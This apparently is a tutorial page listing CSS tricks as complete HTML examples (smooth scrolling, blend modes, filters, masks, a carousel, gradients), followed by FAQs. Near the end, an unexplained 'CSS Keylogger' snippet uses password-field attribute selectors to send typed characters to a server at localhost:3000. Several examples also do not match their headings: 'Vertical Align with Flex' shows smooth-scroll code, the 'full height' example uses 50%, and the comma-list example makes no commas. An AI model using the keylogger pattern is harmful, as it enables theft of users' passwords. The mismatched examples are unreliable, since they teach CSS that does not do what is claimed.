For working professionals
For fresh graduates
Study abroad
More

CSS Tricks

Updated on 03/03/20241,965 Views

Table of Content

Introduction

CSS (Cascading Style Sheets) helps developers control a website's visual appearance. SS is a basic technology of the World Wide Web, HTML, and JavaScript. By adjusting the font, color, size, spacing, and other visual characteristics of the text, you may design and layout web pages. This tutorial will explore various CSS tricks and techniques you can apply to your projects.

Overview

This tutorial will discuss various CSS tricks, which will become excellent tools for targeting HTML components and applying styles. This guide will cover examples of the various things you can do with CSS to enhance the visual appearance of web pages.

Essential CSS Tricks and Tips

Vertical Align with Flex

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      html {
        scroll-behavior: smooth;
      }

      #section1 {
        height: 300px;
        background-color: lightpink;
      }

      #section2 {
        height: 300px;
        background-color: magenta;
      }
    </style>
  </head>
  <body>
    <h1>Smooth Scroll in upGradTutorial!</h1>

    <div class="main" id="section1">
      <h2>Section 1</h2>
      <p>Click on the "smooth" scrolling effect link.</p>
      <a href="#section2">Click Me to Section 2 Below</a>
    </div>

    <div class="main" id="section2">
      <h2>Section 2</h2>
      <a href="#section1">Click Me to Section 1 Above</a>
    </div>
  </body>
</html>

Blend Modes

Code:

<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style>
      .container1,
      .container2 {
        background-color: lightcoral;
        padding: 15px;
      }

      .container1 img {
        mix-blend-mode: darken;
        float: right;
      }
    </style>
  </head>
  <body>
    <h2>The mix-blend-mode Property in upGradTutorial!</h2>

    <div class="container1">
      <img src="https://th.bing.com/th/id/R.22465d2fdbc50627f1b136a8c7bc4f71?rik=vS3QIGIHeRoyTg&riu=http%3a%2f%2fi.
      huffpost.com%2fgen%2f1386495%2fimages%2fo-DRAGONFRUIT-facebook.jpg&ehk=zyQxy6Bf49bfLb8bnqMjTrWOAgMMz4gJwIn0PMZ2lew%3d&risl=
      &pid=ImgRaw&r=0" width="100" height="100" />
    </div>
    <div class="container2">
      <img src="https://th.bing.com/th/id/R.22465d2fdbc50627f1b136a8c7bc4f71?rik=vS3QIGIHeRoyTg&riu=http%3a%2f%2fi.huffpost.com%2
      fgen%2f1386495%2fimages%2fo-DRAGONFRUIT-facebook.jpg&ehk=zyQxy6Bf49bfLb8bnqMjTrWOAgMMz4gJwIn0PMZ2lew%3d&risl=&pid=ImgRaw&r=0"
      width="100" height="100" />
    </div>
  </body>
</html>

CSS Shapes

Code:

<!DOCTYPE html>
<html>
<head>
<style>
.square {
  height: 60px;
  width: 60px;
  background-color:coral;
}
.circle {
  height: 60px;
  width: 60px;
  background-color: green;
  border-radius: 50%;
}
.oval {
  height: 60px;
  width: 120px;
  background-color: blue;
  border-radius: 50%;
}
</style>
</head>
<body>
<h2>Square CSS in upGradTutorial!</h2>
<div class="square"></div>
<h2>Circle CSS in upGradTutorial!</h2>
<div class="circle"></div>
<h2>Oval CSS in upGradTutorial!</h2>
<div class="oval"></div>
</body>
</html>

Truncate Strings in CSS

Code:

<!DOCTYPE html>
<html>
<head>
<style> 
div.a {
  white-space: nowrap; 
  width: 60px; 
  overflow: hidden;
  text-overflow: clip; 
  border: 1px solid red;
}
div.b {
  white-space: nowrap; 
  width: 60px; 
  overflow: hidden;
  text-overflow: ellipsis; 
  border: 1px solid red;
}
div.c {
  white-space: nowrap; 
  width: 60px; 
  overflow: hidden;
  text-overflow: "----"; 
  border: 1px solid red;
}
</style>
</head>
<body>
<h1>The text-overflow Property in upGradTutorial</h1>
<p>The two divs holds a text that will not fit in the box.</p>
<h2>text-overflow: clip (default):</h2>
<div class="a">upGradTutorial!</div>
<h2>text-overflow: ellipsis:</h2>
<div class="b">upGradTutorial!</div>
<h2>text-overflow: "----" (user defined string):</h2>
<div class="c">upGradTutorial!</div>
</body>
</html>

Clip Path

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      img {
        background-color: coral;
        clip-path: circle(40%);
      }
    </style>
  </head>
  <body>
    <h2>The clip-path property in upGradTutorial!</h2>
    <img width="100" height="140" />
  </body>
</html>

Full Height and Full Width

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      html,
      body {
        height: 50%;
        margin: 0;
      }

      .full-height {
        height: 50%;
        background: magenta;
      }
    </style>
  </head>
  <body>
    <div class="full-height">
      upGradTutorial!
    </div>
  </body>
</html>

Image Filters

Code:

<!DOCTYPE html>
<html>
<head>
<style>
img {
  width: 23%;
  height: auto;
  float: left; }
.blur {filter: blur(4px);}
.brightness {filter: brightness(0.30);}
.contrast {filter: contrast(180%);}
.grayscale {filter: grayscale(100%);}
.huerotate {filter: hue-rotate(180deg);}
.invert {filter: invert(100%);}
.opacity {filter: opacity(50%);}
.saturate {filter: saturate(7);}
.sepia {filter: sepia(100%);}
.shadow {filter: drop-shadow(8px 8px 10px green);}
</style>
</head>
<body>
<h1>The filter Property in upGradTutorial!</h1>
<img src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="blur" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="brightness" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="contrast" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="grayscale" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="huerotate" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="invert" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="opacity" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="saturate" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="sepia" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="shadow" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
</body>
</html>

Element Rotation

Code:

<!DOCTYPE html>
<html>
<head>
<style>
div {
  height: 60px;
  width: 60px;
  background-color:magenta;
  rotate: 30deg;
}
</style>
</head>
<body>

<h3>Rotate property in upGradTutorial</h3>
<div>upGradTutorial!</div>
<br>
<p>Rotates div element 30 degrees clockwise around z-axis.</p>

</body>
</html>

Mask

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      .mask1 {
        -webkit-mask-image: linear-gradient(black, transparent);
        mask-image: linear-gradient(black, transparent);
      }
    </style>
  </head>
  <body>
    <h3>A linear gradient as a mask layer in upGradTutorial:</h3>
    <div class="mask1">
      <img src="https://images.edexlive.com/uploads/user/imagelibrary/2019/8/15/original/upgrad.jpg"
      width="300" height="200" />
    </div>

    <h3>Original image in upGradTutorial:</h3>
    <img src="https://images.edexlive.com/uploads/user/imagelibrary/2019/8/15/original/upgrad.jpg" 
    width="300" height="200" />
  </body>
</html>

Zoom on Hover

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      * {
        box-sizing: border-box;
      }

      .zoom {
        padding: 40px;
        background-color:magenta;
        transition: transform 0.3s;
        width: 300px;
        height: 100px;
        margin: 0 auto;
      }

      .zoom:hover {
        -ms-transform: scale(1.5); 
        -webkit-transform: scale(1.5);
        transform: scale(1.5);
      }
    </style>
  </head>
  <body>
    <h1>Zoom on Hover in upGradTutorial!</h1>
    <p>Hover over the div element.</p>

    <div class="zoom"></div>
  </body>
</html>

Frosted Glass CSS

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      .box {
        background-color: rgba(254, 254, 254, 0.3);
        border-radius: 4px;
        font-family: sans-serif;
        text-align: center;
        line-height: 1;
        -webkit-backdrop-filter: blur(11px);
        backdrop-filter: blur(11px);
        max-width: 60%;
        max-height: 60%;
        padding: 30px 40px;
      }

      html,
      body {
        height: 50%;
        width: 50%;
      }

      body {
        background-image: url(https://th.bing.com/th/id/OIP.J4HwTcWQs2KzhNifxSVXNAHaE7?pid=ImgDet&rs=1),
        linear-gradient(rgb(218, 156, 156), rgb(0, 0, 182));
        background-position: center center;
        background-repeat: no-repeat;
        background-size: cover;
      }

      .container {
        align-items: center;
        display: flex;
        justify-content: center;
        height: 50%;
        width: 50%;
      }
    </style>
  </head>
  <body>
    <div class="container">
      <div class="box">
        <p>backdrop-filter: blur(11px)</p>
      </div>
    </div>
  </body>
</html>

CSS Only Carousel

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSS Only Carousel</title>
<style>
  .carousel-container {
    display: flex;
    overflow: hidden;
    width: 300px; /* Adjust the width as needed */
    margin: 0 auto;
  }

  .carousel-track {
    display: flex;
    transition: transform 0.3s ease-in-out;
  }

  .carousel-item {
    flex: 0 0 100%;
    max-width: 100%;
    padding: 20px;
    box-sizing: border-box;
    text-align: center;
    background-color: #f0f0f0;
  }

  /* Navigation buttons */
  .carousel-nav {
    display: flex;
    justify-content: center;
    margin-top: 10px;
  }

  .carousel-nav button {
    background: none;
    border: none;
    cursor: pointer;
    font-size: 24px;
    padding: 0 10px;
  }
</style>
</head>
<body>
  <div class="carousel-container">
    <div class="carousel-track">
      <div class="carousel-item">Slide 1</div>
      <div class="carousel-item">Slide 2</div>
      <div class="carousel-item">Slide 3</div>
      <!-- Add more items as needed -->
    </div>
  </div>

  <div class="carousel-nav">
    <button onclick="prevSlide()">&#8249;</button>
    <button onclick="nextSlide()">&#8250;</button>
  </div>

  <script>
    const track = document.querySelector('.carousel-track');
    const items = document.querySelectorAll('.carousel-item');
    let currentIndex = 0;

    function prevSlide() {
      currentIndex = (currentIndex - 1 + items.length) % items.length;
      updateCarousel();
    }

    function nextSlide() {
      currentIndex = (currentIndex + 1) % items.length;
      updateCarousel();
    }

    function updateCarousel() {
      const itemWidth = items[currentIndex].clientWidth;
      track.style.transform = `translateX(-${currentIndex * itemWidth}px)`;
    }
  </script>
</body>
</html>

Curve Text Around a Floating Image

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Curved Text Around Image</title>
<style>
  .container {
    width: 80%;
    margin: 50px auto;
    display: flex;
  }

  .image {
    width: 200px;
    height: 200px;
    float: left;
    margin-right: 20px;
    shape-outside: circle(50%);
    clip-path: circle(50%);
  }

  .text {
    flex: 1;
    font-size: 16px;
    line-height: 1.5;
  }
</style>
</head>
<body>
  <div class="container">
    <img src="https://cdn-www.enfocus.com/sites/combell-www.enfocus.com/files/media/blog/2017-08-09-Lorem-Ipsum/lorem-ipsum.jpg" alt="Floating Image" class="image">
    <div class="text">
      <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur nec odio nec
      justo dignissim efficitur. Suspendisse sit amet urna sed turpis congue finibus vel eget 
      mauris. Nulla facilisi.</p>
      <p>Mauris interdum diam in augue gravida, et varius urna congue. Sed et justo consequat, 
      volutpat arcu non, euismod leo. Pellentesque habitant morbi tristique senectus et netus et 
      malesuada fames ac turpis egestas.</p>
    </div>
  </div>
</body>
</html>

Gradients and Gradient Text

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Gradients and Gradient Text</title>
<style>
  .linear-gradient-bg {
    width: 100%;
    height: 300px;
    background: linear-gradient(to right, #ff6b6b, #355c7d);
  }
  .radial-gradient-bg {
    width: 100%;
    height: 300px;
    background: radial-gradient(circle, #66a6ff, #eeccff);
  }
  .gradient-text {
    font-size: 36px;
    background: -webkit-linear-gradient(#ff6b6b, #355c7d);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
  }
</style>
</head>
<body>
  <div class="linear-gradient-bg"></div>
  <div class="radial-gradient-bg"></div>
  <h1 class="gradient-text">Gradient Text Example</h1>
</body>
</html>

Style Broken Images

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      img {
        font-family: "Helvetica";
        font-weight: 200;
        line-height: 2;
        text-align: center;
        width: 50%;
        height: auto;
        display: block;
        position: relative;
      }

      img:before {
        content: "We're sorry, the image below is broken :(";
        display: block;
        margin-bottom: 10px;
      }

      img:after {
        content: "(url: " attr(src) ")";
        display: block;
        font-size: 13px;
      }
    </style>
  </head>
  <body>
    <h3>Original image:</h3>
    <img src="https://www.expressandstar.com/resizer/mfZ-TegH1FH69QELJzobO5Aoa98=/1200x0/cloudfront-us-east-1.images.arcpublishing.com/mna/C72QHRN7RJDIRAN7TZJN6WMWJA.jpg" alt="Cinque Terre" width="300" height="200" />
  </body>
</html>

Smart Quotes in HTML/CSS

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      q {
        quotes: "---" "”";
        font-size: 3rem;
        color:yellow;
      }
    </style>
  </head>
  <body>
    <q>upGradTutorial!</q>
  </body>
</html>

Comma-Separated Lists

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Comma-Separated Lists with CSS</title>
<style>
  .tag-list {
    display: flex;
    flex-wrap: wrap;
    gap: 8px;
  }

  .tag {
    background-color: #f0f0f0;
    padding: 4px 8px;
    border-radius: 4px;
  }
</style>
</head>
<body>
  <div class="tag-list">
    <span class="tag">Tag 1</span>
    <span class="tag">Tag 2</span>
    <span class="tag">Tag 3</span>
    <span class="tag">Tag 4</span>
    <span class="tag">Tag 5</span>
  </div>
</body>
</html>

CSS Keylogger

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

CSS Smooth Scrolling

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      html {
        scroll-behavior: smooth;
      }

      #section1 {
        height: 500px;
        background-color: skyblue;
      }

      #section2 {
        height: 500px;
        background-color: red;
      }
    </style>
  </head>
  <body>
    <h1>Smooth Scroll in upGradTutorial!</h1>

    <div class="main" id="section1">
      <h2>Section 1</h2>
      <p>Click on the "smooth" scrolling effect link.</p>
      <a href="#section2">Click Me to Section 2 Below</a>
    </div>

    <div class="main" id="section2">
      <h2>Section 2</h2>
      <a href="#section1">Click Me to Section 1 Above</a>
    </div>
  </body>
</html>

Conclusion

CSS is an essential concept for every modern web developer or designer. Staying up to date with the latest CSS features is essential in the ever-changing web development realm. This blog addressed a treasure trove of CSS tricks and approaches that may boost a web designer's competence to new heights, ranging from basic principles to advanced strategies.

FAQs

What is Flexbox?

One of the CSS tricks, Flexbox, is a layout method that allows you to arrange elements in different ways. It may be used to create intricate layouts quickly and is designed to work with a single row or column of items.

What is CSS-Tricks animation?

CSS-Tricks animation refers to the execution of dynamic and aesthetically appealing effects utilizing CSS transitions, animations, and keyframes to enhance website user experience.

What are some benefits of using advanced CSS Tricks?

Creating more complex and dynamic layouts, reducing the amount of code needed to achieve a specific effect, and making your website more accessible to users with disabilities are some benefits of advanced CSS tricks.

What is CSS Grid?

CSS-tricks grid is a CSS layout utility that makes it simple to design complicated grid-based layouts. It may be used to construct responsive layouts that adjust to numerous screen sizes and is supposed to operate with both rows and columns.